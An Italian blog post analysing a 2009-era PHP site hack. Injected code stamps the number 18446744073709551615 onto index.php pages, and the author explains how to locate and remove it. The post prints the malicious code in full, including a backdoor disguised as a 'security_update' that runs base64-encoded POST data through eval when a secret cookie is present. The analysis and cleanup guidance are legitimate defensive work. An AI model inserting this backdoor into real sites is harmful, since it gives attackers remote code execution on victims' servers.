Ricercando in rete utilizzando questo numero come chiave di ricerca si troveranno numerosi articoli/post che affermano che si tratta del massimo numero utilizzabile all’interno di un campo BIGINT in Php. Questo porterà l’ignaro utente ad impazzire alla ricerca della funzione all’interno del proprio sito che esegue calcoli che portano alla comparsa di questo numero. Tutto ciò sarà inutile!

In realtà questo numero viene visualizzato poiché le pagine “index.php” del proprio sito sono state hackerate inserendo al loro interno la seguente funzione che non altera il comportamento della pagina ma visualizza a pié di pagina il numero in oggetto.

La pagina modificata apparirà con il seguente codice:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

< ?php
ob_start("security_update"); //do not remove this line - important security update!
 
<--- CODICE ORIGINALE DELLA PAGINA --->
 
?>
                < ?php
                function security_update($buffer)
                {
                        $update = '18446744073709551615';
                        if (stristr($buffer, '</html') !== FALSE)
                        {
                                return eregi_replace('</html', $update.'<html', $buffer);
                        }
                        else
                        {
                                return $buffer.$update;
                        }
                }
                ?>

Come potete vedere analizzando il codice la funzione “security_update” non fa altro che inserire tutto l’output originale della propria pagina in un buffer e successivamente accodare al buffer il valore “18446744073709551615“.

La domanda che sorge è: perché?

Sebbene stia tenendo d’occhio l’evolversi di questo hack non si è ancora individuato il motivo di tale azione. L’ipotesi che al momento appare essere la più veritiera è che venga utilizzato questo codice come “marcatore” dei siti “infetti” così da poterli facilmente trovare in una eventuale ricerca in rete.

In questo modo chi sta effettuando tali hack potrà individuare le proprie vittime e i siti per i quali conosce la falla di sicurezza che ha consentito di scrivere, per ora, il numero “18446744073709551615“.

Vedendo l’andamento delle ultime settimane ho assistito ad un’evoluzione dello script in quanto è stata aggiunta una nuova riga che potrebbe essere realmente dannosa per le vittime. Questo il codice nella sua nuova versione:

1
2
3

< ?php
ob_start("security_update"); //do not remove this line - important security update!
 if(md5($_COOKIE['73043475c0893e30'])=="59fdd20854f4a2056c082cab53e64860"){ eval(base64_decode($_POST['file'])); exit; } ?>< ?php

Questo script ha in più un check su un cookie che, se verificato ($_COOKIE['73043475c0893e30'])==”59fdd20854f4a2056c082cab53e64860″), esegue una decodifica di un file criptato inviato via POST.

In questo modo l’hacker ha la possibilità di inviare file a tutti i domini che precedentemente aveva infettato e “marcato”.

Per ora non ho assistito ad azioni concrete che hanno sfruttato questa funzione “security_update()” ma, ovviamente, è naturale pensare che lo script e le sue evoluzioni siano vari step di un’azione mirata a raccogliere centinaia di siti infetti per effettuare in seguito un attacco di massa.

Come eliminarlo?

Per eliminarlo basta individuare tutte le pagine che mostrano il numero “18446744073709551615” e ripulirle dal codice di questo hack mostrato in precedenza.

Anche in questo caso il programma “PoweGrep” ci torna comodo permettendoci di effettuare una ricerca della stringa “18446744073709551615” su tutti i file del proprio sito (in locale).

Una volta individuate la pagine vanno rimosse queste righe dalla parte superiore della pagina:

1
2
3

< ?php
ob_start("security_update"); //do not remove this line - important security update!
if(md5($_COOKIE['73043475c0893e30'])=="59fdd20854f4a2056c082cab53e64860"){ eval(base64_decode($_POST['file'])); exit; } ?>

(la riga 3 non è presente in tutte le versioni)

e queste rige dalla fine:

1
2
3
4
5
6
7
8
9
10
11
12
13
14

                < ?php
                function security_update($buffer)
                {
                        $update = '18446744073709551615';
                        if (stristr($buffer, '</html') !== FALSE)
                        {
                                return eregi_replace('</html', $update.'<html', $buffer);
                        }
                        else
                        {
                                return $buffer.$update;
                        }
                }
                ?>

Possibilità di infezione

Non ho determinato, per ora, se l'infezione avviene tramite una vulnerabilità del proprio applicativo web o se invece avviene via Ftp sfruttando le credenziali del proprio Client Ftp.

In ambo i casi i consigli sono sempre gli stessi e fanno sempre bene:

1) Verificare presso siti di sicurezza come Secunia o SecurityFocus o Milw0rm eventuali nuove vulnerabilità dei propri applicativi/script/cms.

2) Eseguire periodicamente scansioni complete dei propri PC con software AntiMalware,AntiSpyware, etc. In particolare consiglio l'utilizzo di Malwarebytes' Anti-Malware che include tutte queste protezioni in un unica soluzione

Chiunque abbia informazioni al riguardo e volesse condividerle mi scriva all'indirizzo capn3m0@capn3m0.org

AGGIORNAMENTO DELL'8/11/2009: [HACK] – Cannot redeclare security_update(), alla fine è arrivato!